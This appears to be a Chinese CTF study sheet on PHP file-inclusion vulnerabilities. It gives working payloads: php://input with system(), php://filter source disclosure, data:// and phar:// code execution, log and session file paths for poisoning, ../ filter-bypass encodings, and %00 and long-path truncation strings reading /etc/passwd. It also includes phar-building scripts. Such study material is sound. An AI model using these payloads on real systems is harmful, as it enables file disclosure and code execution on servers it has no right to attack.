CTF-Web【文件包含】漏洞做题姿势积累

前言

本篇文章专门用于记录做文件包含类题目的做题姿势,会不断更新。

  1. LFI:Local File Inclusion,本地文件包含漏洞,大部分情况下遇到的文件包含漏洞都是LFI
  2. RFI:Remote File Inclusion,远程文件包含漏洞,要求allow_url_fopen=On(默认为On) ,规定是否允许从远程服务器或者网站检索数据;allow_url_include=On(php5.2之后默认为Off) ,规定是否允许include/require远程文件

php常见文件包含函数

1
2
3
4
5
include():遇到错误生成警告,继续执行脚本
require():遇到错误生成致命错误,脚本继续
include_once():如果文件已包含,则不再进行包含,一定程度避免错误
require()_once():如果文件已包含,则不再进行包含,一定程度避免错误
fopen(),file_get_contents()等:文件读取函数

文件包含漏洞的利用

php伪协议

php://input(allow_url_include=On)

遇到file_get_contents()要想到用php://input绕过

1
2
3
构造?file=php://input
post data中输入:<?php system('dir');?> //代码表示显示所有文件目录
根据显示的文件目录直接进行访问(某txt或php文件),得到flag
php://filter

可以使用的函数:readfile()、file()、file_get_contents()、include()

1
?file=php://filter/read=convert.base64-encode/resource=index.php
data://

要求allow_url_fopen=On,allow_url_include=On

1
2
3
4
?file=data://text/plain,<?php phpinfo()?>    //执行phpinfo()
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= //将命令进行base64加密,编码为“<?php phpinfo()?> ”的base64编码
?file=data:text/plain,<?php phpinfo()?> //去掉双斜杠
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip://

zip:// 可以访问压缩包里面的文件。
zip://中只能传入绝对路径;要用#分隔压缩包和压缩包里的内容,且#要用url编码%23代替

1
?file=zip://D:\file.zip%23flag.txt
  1. D:\file.zip表示压缩包的绝对路径
  2. 后跟%23分割压缩包和压缩包中要访问的文件名
phar://

类似zip://,相对路径和绝对路径都可以使用,不管后缀名是什么都会将文件当作压缩包解压

1
2
?file=phar://D:\file.zip\flag.txt    //绝对路径
?file=phar://file.zip\flag.txt //相对路径

包含日志文件

日志和配置文件默认存放路径
1
2
3
apache+Linux日志默认路径 
/etc/httpd/logs/access_log
/var/log/httpd/access_log
1
2
3
apache+win2003日志默认路径 
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
1
2
IIS6.0+win2003默认日志文件 
C:\WINDOWS\system32\Logfiles
1
IIS7.0+win2003 默认日志文件  %SystemDrive%\inetpub\logs\LogFiles
1
2
3
4
nginx 日志文件 
用户安装目录logs目录下(/usr/local/nginx/logs)
/var/log/nginx/access.log
/var/log/nginx/error.log
1
2
3
apache+linux 默认配置文件 
/etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpd
1
IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
1
2

IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config
session常见存储路径

php的session文件的保存路径可以在phpinfo的session.save_path看到,
session文件格式: sess_[phpsessid] ,phpsessid在发送的请求的 cookie 字段中可以看到

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

包含系统文件

包含 /pros/self/environ

条件

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

绕过

过滤read、resource
1
2
3
4
?f=php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)
绕过方式:
?f=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
1
?f=php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)
过滤 ../

利用url编码

  • ../
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\
    • %2e%2e%5c
    • ..%5c
    • %2e%2e\

二次编码

  • ../
    • %252e%252e%252f
  • ..\
    • %252e%252e%255c

容器/服务器的编码方式

  • ../
    • ..%c0%af
    • %c0%ae%c0%ae/
      • java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点
  • ..\
    • ..%c1%9c

截断包含

要求

  • php版本小于5.3.4
  • magic_quotes_gpc=off

原理

  • Windows下目录最大长度为256字节,超出的部分会被丢弃
  • Linux下目录最大长度为4096字节,超出的部分会被丢弃。
1
2
3
<?php 
include(“includes/” . $_GET['file']);
?>
1
2
3
<?php 
include(“includes/” . $_GET['file'] . “.htm”);
?>

url绕过

1
2
?file=http://localhost:8081/phpinfo.php?
拼接后:?file=http://localhost:8081/phpinfo.php?.txt
1
2
?file=http://localhost:8081/phpinfo.php%23
拼接后:?file=http://localhost:8081/phpinfo.php#.txt

%00截断包含

1
?p=../hanguo/test.php%00

列目录

条件:magic_quotes_gpc=off

1
?file=../../../../../../../../../var/www/accounts/%00

路径遍历

1
?file=../../../../../../../../../var/lib/locate.db

路径截断

1
?file=../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断(windows下)

1
?file=../../../../../../../../../etc/passwd……………. …

利用phar://协议绕过waf检测

版本要求:php 5.3.0 起
利用php伪协议读取php文件内容

1
2
3
4
data要求:
php5.2以后
allow_url_fopen :on
allow_url_include:on

poc

1
data:text/plain,<?php phpinfo();?>%00data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

php://filte

1
2
3
4
要求:
需要开启allow_url_include
poc
php://filter/read=convert.base64-encode/resource=upload.php

远程文件包含要求:allow_url_fopen:on

长度截断利用条件: php版本 < php 5.2.8

使用截断包含 绕过拼接后缀名

00截断

%00

长目录名截断

windows下 最大长度为256Linux下最大为4096子节,超出部分会被丢弃

phar://(php>5.3.0起)

phar://支持zip、phar格式的压缩(归档)文件,无视后缀(也就是说jpg后缀照样给你解开来),?file=phar://压缩包路径/压缩包内文件名,绝对路径和相对路径都行。

利用方法:index.php?file=phar://test.zip/test.txtindex.php?file=phar://test.xxx/test.txt

制作phar文件(php5.3之后)

设置php.ini中phar.readonly=off

制作生成脚本

1
2
3
4
5
6
7
8
9
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要压缩的文件及内容
$phar->stopBuffering(); //签名自动计算
?>
// 这个脚本需要使用php.exe 来生成

生成脚本2

1
2
3
4
<?php
$p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
$p->addFromString('test.txt', '<?php phpinfo();?>');
?>